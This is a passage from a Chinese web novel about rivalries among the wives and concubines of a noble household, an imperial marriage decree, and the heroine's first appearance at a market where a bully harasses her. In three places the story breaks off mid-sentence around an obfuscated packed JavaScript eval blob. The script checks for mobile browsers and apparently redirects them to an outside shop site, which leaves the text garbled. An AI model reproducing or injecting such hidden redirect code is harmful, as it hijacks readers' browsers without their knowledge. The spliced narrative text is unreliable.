小狸不服气地低声顶嘴:“老爷风流成性,外边不知道养了多少狐媚子外室,除了刚成婚的前几年,最近何曾踏足过我们静园。如今得势姨娘房里的三等奴才都敢颐指气使跟我说话。” 门口传来茶盏摔裂的声音。 “咳咳”,大夫人刚从云烟寺赶回来,肺里呛了一股冷风,止不住微微咳嗽。 荣嬷嬷使了个眼色,兰桂赶忙上前假装拧着小狸的耳朵大声呵斥道:“私下议论老爷成何体统!静园决不允许如此没有规矩的下人,若是再敢多嘴,就将你发卖出去。” 小狸捂着耳朵疼的龇牙咧嘴,扑通跪倒在地,“夫人饶恕,夫人饶恕,小狸再也不敢了。” “母亲,什么事情值得发这么大的脾气。”一个十七八岁的少女掀帘进门。 女子一袭红色长裙娇俏可爱,眉眼间并无半分大夫人的绝代芳华,唯有那一双清澈圆润的眸子,似盛了一汪春水,勉强算是有几分灵动。 女子说话间,语调平和柔软,虽无倾国之貌,眉眼不自觉流露出一股柔弱可依的气质,倒是颇有大夫人的神态。 “小狸自幼在母亲身边服侍长大,虽然平日愚笨了些,但最是忠心耿耿,若是有了错失,还请母亲宽宥一二吧。” 少女脱下身上的灰狐裘,递给贴身婢女一个眼神,兰桂瞥见立即机灵地扶起跪地的小狸,“跟姐姐出去玩好不好,嫣然小姐从院里带了牛乳糕过来,小狸最爱吃了。” 小狸偷偷瞧大夫人没有反对的神色,开心地牵着兰桂姐姐的衣角出了门。 兰桂掏出自己的干净帕子,擦拭着小狸哭花的脸颊,斟满了一大碗温热的骆驼奶配着牛乳糕递给小狸,“大夫人没有恶意,只是……最看中她原配正室的体面,你偏偏往她心口上戳,岂不是刻意与她作对?” 兰桂瞧见此刻四下无人,悄声叹了口气,恨恨道:“老爷最是风流成性,夫人也是看不破的苦命人,虽然是出身十族的正头娘子,但膝下福薄,只得嫣然小姐一个养女伺候在侧,那些狐媚外室们又有好几个私生子女,大夫人难免心里多年苦闷。小狸你一定要体谅夫人。不许生她的气。” 小狸乖巧地点头,疑惑道:“兰桂姐姐,可我听厨房丽大娘嚼舌根,她们私下议论说夫人还有一个亲生女儿——澄小姐?” 兰桂吓得赶忙上手捂紧了她的嘴,嫌弃地用手帕擦了擦手上蹭到的骆驼奶,白了小狸一眼道:“哎呦小祖宗,你可千万别在夫人面前提澄小姐。” 四处打量确认无人后,兰桂才低声解释道,“澄小姐自生下来就体弱多病,稍微遇风或饮食不当就要起风疹,身上有大块大块的风团红疹可吓人了,听荣嬷嬷说……是风邪入体。所以,澄小姐自幼便在郊外人少僻静的山庄静养,由夫人娘家寡居的亲姐姐—琅琊王氏文夫人照料起居。” “江北的名医那么多,怎么不接澄小姐回来诊治?” “你有所不知,这里头的缘故,说来话长。” 兰桂长叹了口气,脸上露出几分唏嘘,“咱们大夫人出身高贵的琅琊王氏,性子却最是温婉和顺,当年那杜姨娘仗着老爷的宠爱十分跋扈,又生了伶俐的二姑娘和三公子,在府里风头无两,竟将夫人逼得几乎没了立足之地。” “那时夫人自顾不暇,全部心神都用在如何固宠、如何早日生下儿子稳住地位上,日夜与姨娘们周旋打擂台,哪里还分得出心思和精力?澄小姐那时年幼,又体弱多病,养在城外山庄,虽说清苦些,毕竟有夫人的亲姐姐文夫人照料,总好过在府里被卷入是非。夫人虽心疼,却也只得暂时按下,只盼着日后境况好转再接回。” “直到澄小姐五岁,转机才来。那杜姨娘胆大包天,竟敢挪用公账银钱接济娘家,被老爷察觉,发了好大的火,这才将掌家之权重新交回夫人手中。夫人掌权后,第一件事便是兴冲冲地派人去接澄小姐回府,本以为骨肉团聚,苦尽甘来……” 兰桂说到此处,擦了擦眼睛,摇摇头,“谁知,许是那山庄里的下人惫懒,竟将澄小姐娇宠的……唉,非但礼仪规矩一概全无,言行举止更是粗野不堪,毫无氏族贵女的风范,甚至见了夫人就躲,连句整话都说不利索。夫人一见之下,又是心痛又是失望,更怕在诸位姨娘面前丢了颜面,急怒攻心之下,竟动了胎气……那时夫人已再度有孕,本是天大的喜事,谁知因此事郁结于心,不过三两月光景,那小公子……终究是没保住。” “夫人经历此番打击,心灰意冷,认定了澄小姐与她命格相冲,是个不祥之人。恰逢此时,赵姨娘难产生下嫣然姑娘,便被老爷做主抱来夫人膝下,嫣然小姐……小时候还是十分玉雪可爱,嘴又甜,正填补了夫人心中的空缺……” 兰桂戳了戳小狸的脸颊,警告道:“自那以后,夫人便将一腔慈爱都倾注在嫣然姑娘身上,而澄小姐……便成了这府里说不得、碰不得的忌讳,你可不许在夫人面前提!” 屋内,江嫣然伺候夫人喝药,温柔地帮其顺气,“母亲,何必与崔姨娘这般鄙薄低贱之人争执?她的出身放在哪里,终究越不过母亲去。俗话说‘犬吠非主人’,阿娘若是觉得心里不痛快,也请千万忍耐一番,等她年岁见长逐渐失了宠爱,届时再随便寻个由头打发出去,或者悄声了断便好。” 荣嬷嬷不着痕迹地抬眼看了看江嫣然,脸上呈现出一种打从心底的嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔姨娘布菜的手狠狠一顿,“哼,我做这一切又是为了谁,只有娘成为正室夫人,你才可能有机会承袭江家族长之位,否则纵然我儿才华横溢,也会因为为娘的平民血脉,一辈子都要被压一头,难道你愿意?若是嫡长女江玉澄也就罢了……” “如今大夫人又收养了江嫣然,她算什么东西,不过是赵姨娘肚子里爬出来的下贱胚子,惯会耍奸卖好便被记在大夫人名下,难道他日连江嫣然也要压你一头!?” 江绍明闻言收敛了笑容未做声,沉默不语。 崔姨娘压下怒气,细心盛了一碗素菜鱼茸羹,吹温了递给儿子,“大夫人也罢了,素来软弱过分柔顺是个不成事的,我将来必不会逼死她就是了。” 江邵明被崔姨娘的话刺痛内心,因为崔姨娘是平民出身,他只有一半的氏族血脉,在门第观念极重的社会地位尴尬,哪怕自己满腔经纶也比不过血统更纯净的子女半个手指头。 “姨娘如何打算,我不想管,只是一条必不可伤害大夫人。” 崔姨娘捂着唇娇媚一笑,“我就知道,我儿邵明胸有大志,你放心母亲绝不会拖你后腿,更不会让旁人阻了你的路。” 江邵明随意尝了一口素菜鱼茸羹,微微颔首,“姨娘的手艺又精进了。” 瞧见崔姨娘新染的淡紫色丹蔻,微微顿了顿,道“风铃花是大夫人多年前种在澄园给澄妹妹祈福的心爱之物,姨娘又不是真心喜欢那花,何必非要争抢,倒显得姨娘不识大体跟孩子一般见识了。” 26.德妃赐婚 江绍明用过饭便辞了姨娘,返回书房,路上驻足澄园门外,江北的冬天,没有北地的凛冽与萧杀,却自有一份烟雨朦胧的诗意。 薄雾笼罩河面,寒江如镜,远山若隐若现,偶有白鹭飞掠湖面,仿佛水墨丹青般的画卷徐徐展开。 江嫣然等在澄园门外,瞧着江绍明从一束白梅后转出,他一身青色衣衫衬得人若青松,风姿卓著。 即使厌恶江父的风流成性,江嫣然也不得不感叹江父生的好皮囊,甚至几个庶子庶女都得他真传,其中江邵明最为相似出挑。 可恨自己却随了那个难产而死的生母赵姨娘的容貌,姿色平庸。 只有一双杏眼还算过得去,便日日努力模仿大夫人的体态风流。 大夫人无子,江绍明资质最佳,是未来江府最有希望的继承人。 念及此处,一声俏皮的“邵明哥哥”打破了澄园的宁静。 江嫣然刻意绕了路过来向江绍明问安,“今日先生夸邵明哥哥的书法颇有古风古意,嫣然还得多多向哥哥请教呢。” “嫣然妹妹谬赞了。” “邵明哥哥可用过饭了?嫣然正要去祖母处用饭,要一起吗?”嫣然恭顺地邀请。 “多谢妹妹,已经在姨娘处用过了。”江绍明客气回道,并不多话。 嫣然的身影消失后,身旁的小厮多嘴多舌挖苦道,“嫣然姑娘最近怎么总是偶遇啊!” “闭嘴!姑娘的事情哪里轮得到你议论!”江绍明愠怒训斥。 小厮扁了扁嘴,“府里除了面慈心软的大夫人,谁人看不出来江嫣然的狼子野心,不过是通房丫头肚子里爬出来的次等货色,若不是运气好得了大夫人教养,府里哪有她说话的份!” 小厮不屑道:“可如今公子再瞧瞧,嫣然姑娘眼见大夫人失宠,连日常用饭都捡着高枝去太夫人处。” “心里知道就好,不必说出来,越是议论自己的是非越多。” 江绍明眼神晦暗,看向江嫣然的背影若有所思。 “不好了,大公子!”门口侍卫几乎是气喘吁吁,手忙脚乱地跑来。 江绍明身边小厮训斥道,“何事慌慌张张?” 侍卫拧了把汗,满脸焦急,言辞急迫道:“大公子不好了,临安城宫里来人了,还带着圣旨!却不知是什么事情,老爷四处托人打听,也没有半点风声!太夫人已经领着众人在前厅等候宣旨,快请您过去呢。” 江绍明闻言也是愣住,马上吩咐小厮,“快、快陪我回房换朝服,告诉祖母我马上过去。” 显然宫中有事发生。 穿着暗红色宫衫的太监高傲地在江府门前下马,一路目不斜视地穿过两道庭院,步入正殿。 两侧仆从屏息垂首,不敢抬头。 江府上下如临大敌,全都笼罩在一片山雨欲来的压抑中。 连素来洒脱不羁、常在外的江氏族长江文广,此刻也规规矩矩地换上了全套深色朝服,眉头紧锁地在正厅中来回踱步,指尖无意识地捻着袖口,透露出内心的忐忑不安。 江太夫人坐立不安,手中紧紧攥着一方素帕,不住地擦拭着额角沁出的细密冷汗。 她双目微阖,嘴唇轻轻翕动,近乎无声地反复祈愿:“列祖列宗在上,定要保佑我儿文广,保佑我江府上下……渡过此劫,逢凶化吉,一切平安。” 崔姨娘的眼神不住地乱飘,嘴唇颤抖着被云杏搀扶着,“你说……德妃娘娘和二殿下是要处置江家吗?江家一向规矩老实,从不掺和保皇派和革新派的党争,会有什么事儿?会有什么事儿!” 崔姨娘甚至在大庭广众下口不择言道,“……若是侵占民田的事,那可是旁支叔伯干的蠢事,可与我们邵明无关。” 崔姨娘最终被江文广狠狠白了一眼,才勉强止住口。 江北江家诗书传家,传闻藏有上古神器无字书,可上查盘古女娲神话,下溯当朝宫廷秘闻,知无不尽。 可惜,百年来无人见过无字书的真迹,且江家子弟才能不足难当大任,已经逐渐淡出临安王城的权利角逐,所以氏族隐居于江北,鲜少与临安城往来。 江氏一门素不涉朝政,与宫闱向来泾渭分明。故而,此刻这卷突如其来的明黄圣旨,便如一道晴空霹雳,震得阖府上下心惊肉跳,祸福难料。 此刻所有人都等候在正厅,惴惴不安。 江绍明一袭淡青色衣衫,气质超然,在一众焦躁畏缩的弟妹面前显得格外出众。 他缓缓走到正殿,向祖母和父亲行过参拜礼后,平静道,“江家几十年来不问朝政,不参与保皇派和革新派的争斗,自问并无大不是的过错。如今二殿下年少监国天纵英才,德妃娘娘又宽厚仁善、贤名远播。既然君主有道,臣子无过,又何必仿佛大祸临头忧心忡忡,既来之则安之罢了。” 江邵明一番话立时镇定了众人,太夫人先回过神,端出了氏族大家长的气派,领头静静聆听太监宣旨。 没想德妃娘娘懿旨却是为江家长女——江玉澄赐婚。 原本凝重的氛围骤然一滞,满堂皆惊。 “……苏氏幼子苏怀堂,才德起于翰林,清约闻达朝野,尚无婚约妻室。江氏长女江玉澄,礼教克娴,待字金闺。潭祉迎祥,良缘天作,今下旨赐婚,望汝二人同心同德,勿负天意。钦此。” 听闻德妃旨意,待那“赐婚”二字清晰入耳,江家上下一片惊呼,紧绷的死寂瞬间化作难以置信的喜悦,江文广长长舒出一口气,江太夫人更是激动得当场落下泪来。 江家势微多年,如今竟承德妃娘娘亲自赐婚! 虽然传闻苏怀堂为人恣意狠厉,但是颇得摄政王独孤慎器重。 在江家人眼中,这桩婚约怎么算都是天上掉下的馅饼。 唯一不足就是,苏怀堂是摄政王一党的革新派,虽然势力如日中天,但是功高震主,引得皇室不悦,所以苏怀堂的婚事几番议定,德妃娘娘和摄政王都不满意,生怕选错了人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江嫣然噗嗤一笑,滚到大夫人身侧,脸上显出两个浅浅的梨涡,“嫣然不想嫁人,阿娘,那我一辈子留在您身边侍候您好不好?” “那可怎么行!” 回去的路上江嫣然路过澄园,看着流水般贵重首饰被送进去,不禁嫉妒心生,旁边服侍的贴身小丫鬟察言观色道:“听闻大小姐胎里体弱又孤僻粗鄙,连亲娘都嫌弃,怎么能比得上我们小姐蕙质兰心呢?” “那又如何,纵不及江玉澄托生在大夫人肚子里。金尊玉贵!” 嫣然咬牙切齿冷哼道,心中升起一股难以言喻的情绪。 她原本明朗的容颜此刻却显得有些阴沉,嘴角微微抽动,强忍着心中的不满。 那一抹嫉妒,如同暗潮噬人骨血般密密麻麻传遍周身。 她在心里恶毒地诅咒,“如果江玉澄意外过世,如果她再也不能回到江府……就好了。” 27.初登场 寒冬腊月,街边的老树只剩下光秃的枝桠。 偶尔有几片倔强的黄叶挺立枝头,挂了一层薄薄的白霜,仿佛披了一件细腻的银纱。 街上路人裹着厚厚的棉衣一个个形色匆匆,正午的阳光透过灰蒙蒙的云层,洒在大地上,像是洒了一层薄薄的金粉,柔和却不刺眼,心里会生出一种暖意的错觉。 但这错觉很快就在刺骨的寒风中清醒。 一个约莫二十左右岁的小姑娘,独自一人坐在混沌摊旁的小木桌旁。 她双手端起一碗热气腾腾的馄饨,嘴巴轻轻吹着气,馄饨皮薄如纸,包裹着嫩滑的菜馅在汤里打转儿。 白色的蒸汽缓缓升起,在空中形成一圈淡淡的光晕,小姑娘轻抿一口热汤,温暖在唇间蔓延,顿感全身寒冷都被驱散。 她将小脸埋进碗里大口吃起来,两侧脸颊微微鼓起,快乐地迎着阳光眯眼睛。 小姑娘身材纤细,穿着一件不起眼的粗布裙,长髻随意用一根枯木钗挽起,帽檐下露出一双灵动的眸子如夜空般清澈,仿佛雪天路过人间休憩嬉戏的漂亮狸奴。 摊主是个年过半百的老伯,见她吃得香甜,将锅里两个破了皮的馄饨添到她碗里,眼里流露出一丝怜爱,“姑娘,吃慢些,别烫着。” “多谢老伯!” 小姑娘声音柔软清脆,微微仰头露出两颗小小的梨涡,带着几分不谙世事的天真俏皮,比春日里的阳光还要令人熨帖。 老伯看着她那一双澄澈的眼睛,不禁愣了片刻,手上一边收拾着碗筷,口中一边却不住地嘟囔道:“也不知道是谁家的小女儿,又是哪个挨千刀不负责的父母,怎么会舍得让她孤身飘落江湖,唉,真可怜!” 小姑娘吃过馄饨,继续朝前赶路。 她一双大眼睛在街道两旁四处打量,不时被周围的景象吸引住。 来往的行人,摊贩的叫卖声,各种新奇的景象纷繁复杂,令她感到一阵战栗的兴奋。 “瞧一瞧,看一看,各种惟妙惟肖的面人,五文钱一个!” 循声望去,路边小摊木架子上摆放着一排栩栩如生的面人,那些面人用竹签插着,排列整齐憨态可掬。 有天真烂漫的年画娃娃,有威风凛凛的大老虎,还有婀娜多姿的七仙女。 更有意思的是,其中一个面人竟然是舞龙的模样,龙头的每一片鳞片都刻画得细致入微,仿佛下一刻就会腾云而起。 她微微睁大了眼睛,露出几分孩子气的惊讶,“老伯,这些是用什么做的?好像真的一样,太有趣了!” 摊主是个和蔼的老大爷,满脸慈爱地看着她,捻了捻手中的面团,“这位姑娘真有眼光,这是用糯米粉和面,揉好之后加上颜料捏成的。” 说罢递过去一个面人,“您瞧瞧这个仕女娃娃,是我刚刚捏好的。” 她的目光落在面塑的仕女娃娃上,那面人眉眼低垂,唇边噙着一抹欲语还休的笑意,罗衣上的褶皱似被微风拂过,仿佛吹口气就会活起来。 忍不住赞叹道:“老伯伯,你手艺真好,像是真的一样!” 她伸手想碰一碰,随即又不好意思地缩了回去。 老伯笑呵呵道:“小姑娘,不碍事的,拿去摸摸看,这面人瓷实得很。” 听了这话,她才小心翼翼地用指尖触碰了一下面人的裙摆,果然细腻滑润,似乎还能感受到摊主捏制时留下的微微指痕。 “真有趣!”她的眼睛亮晶晶的,“我之前从未见过。” “不贵的,才五纹钱一个,姑娘喜欢哪个,我给您包起来。” 她颦眉认真思索后,指着最大的年画娃娃,“我要那个……”,话音未落,便被人群中穿来穿去讨要赏钱的小乞丐绊倒,身体不自觉地向后退了几步。 “哎呀,是哪个走路不长眼的,敢冲撞我们家少爷?!” 人群中顿时传来一声大喝,转过身只见一个满脸横肉的家丁正指着她的鼻子怒骂,“说你呢,臭丫头,眼瞎了吗?” 好兴致被打扰,她似乎有些不悦,“对不住”,口中说着抱歉的话,眼中的寒意却如一层细碎的薄冰,透过细微的眸光,深藏着明晃晃的不屑。 正当转身离开的时候,被人伸手拦住,一声轻佻的口哨声从旁传来。 “哟,这是哪家的小娘子,长得真标致。” 来人约莫三十出头,一身云锦长袍绣着繁复的暗纹,腰间缀着块水头极好的翡翠。只是这身华贵装束,反倒衬得他阴鸷的面容更加森冷。 男子负手而立,鹰隼般的目光牢牢锁在女子身上,嘴角噙着不怀好意的冷笑。 方才跋扈蛮横的家丁,此刻正躬身立在他身侧,活像条等着主人示下的恶犬。 她微微抿唇,步伐轻移,试图绕过他。 可男子却是一个箭步上前,挡住了她的去路,目光挑弄地打量着她。 “小娘子这样匆匆的,莫非是去会情郎?”男子的语调轻浮,带着几分挑逗。 “还是刚偷了我的钱包,这会儿想溜之大吉?”男人不急不缓朝她逼近,带着几分遇到猎物的兴奋。 “你说,我偷了你的钱袋?”她退后一步,面色淡然。 眼前的男人显然没有任何想要放过她的意思,他身后一个狗腿子跟班低笑着伸出手,欲抓住她的手腕,“小姑娘,别害羞,看清楚这是韩家少爷,碰见他是你的福分。” 男人从袖中取出一个锦缎的钱袋子,高高举起展示,阴阳怪气地说道:“小姑娘,这钱袋子早上出门时候还是满的,如今只碰见了你,然后就变空了……你说是不是你偷了我的银子?” 他色眯眯地上前,一把扯住她的手,摩挲向自己心口的位置,语调轻佻,“……还有我的心……” 周围的路人渐渐围了过来,指指点点。 男人却不肯放手步步逼近,举止猥琐,“若是不敢承认……那不如,就脱光衣服让我搜搜……” 围观人群一片哗然,却碍于恶霸韩少聪背后的韩氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644797|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势力不敢阻拦。 女子目光微沉,眼中闪过一抹冷意,笑着开口,“既然你想找……” “既然……韩少爷丢了银子,我这里倒是有。” 一道清冷而低沉的男声从身后传来,打断了她未出口的话,“当街欺辱一位弱女子,未免有失万仞谷韩家的风度?” 众人回头,只见一道修长高挑的身影自人群中走出,江绍明一袭青色长衫,唇角带着一抹温润的笑意,犹如一位从书卷中走出的公子。 一双眼睛,仿佛能看透人心,却又透出一丝温和的光芒,既不张扬也不冷漠,让人忍不住想要靠近。 她疑惑地凝眉看他,只觉得似曾相识。 江绍明的目光环视周围,正对上她打量的眸光,她嘴角微微弯起,宛如春日里一朵初放的桃花,纯粹、明媚而张扬,带着无尽的生气与柔软。 江绍明的心不合时宜地骤然加速,“好像在哪里见过一样。” 小姑娘喃喃自语,低头看不出神色,心中感叹,“好奇怪,有一种莫名的亲近感。” “哎呦,你俩是什么关系呀,莫不是找了小白脸替你出头?”韩少聪皱眉打量来人,语气中带着几分不屑。 江绍明抬眼看他,眸色深邃而冷漠,“我是谁不重要。重要的是,江北地界不会任由你欺负一个柔弱无辜的小姑娘!” 小姑娘望向他的眼神藏着一丝错愕,“柔弱无辜?”她细细品念着这几个字,似乎是从中察觉了乐趣,于是压下弯起的嘴角,长长的睫毛在眼睑处投下一片细密的阴影,遮掩了眼底那丝不易察觉的狭促。 她刻意低了头,再抬眸已经语带哽咽,“我……真的没有偷这位公子钱包,小女子来此地寻亲,若有冒犯,还请公子见谅。” 说话间轻咬下唇,那双水光潋滟的眼眸微微泛红,楚楚动人。 江绍明不由心生怜惜,看向她的目光更添几分关怀,“别怕,有我在。” “这小姑娘也太可怜了。”一旁的妇人抿着嘴,语气里满是同情,“瞧这模样,哪像个小偷?分明是被人欺负得没处诉苦啊。” “是啊是啊,十八九岁的孤女流落江湖,话都不敢大声说,怎么可能敢偷韩少聪这个恶霸的银子?!”旁边的商贩附和道,眼里满是怜悯。 闻言她低声抽泣地更卖力了,压下嘴角的顽劣笑意。 挑担的汉子忍不住叹了口气:“世道不公专挑可怜人下手,这姑娘一看就老实本分,能做什么坏事?还不是那些五姓十族的纨绔子弟仗势欺人。” “好孩子,别哭了。”一名老妇人心疼地上前拍了拍她的肩膀,“这位公子会替你主持公道的。” 韩少聪不甘示弱,反唇相讥:“一个路人也敢多管闲事?你打听打听老子是谁,识相的就赶紧滚开!” 她状似害怕地伸手抓紧了江绍明的衣袖。 江绍明的心下一动,上前一步将她护在身后,语气中带着淡淡的威胁:“你尽管试试,我会不会管到底。”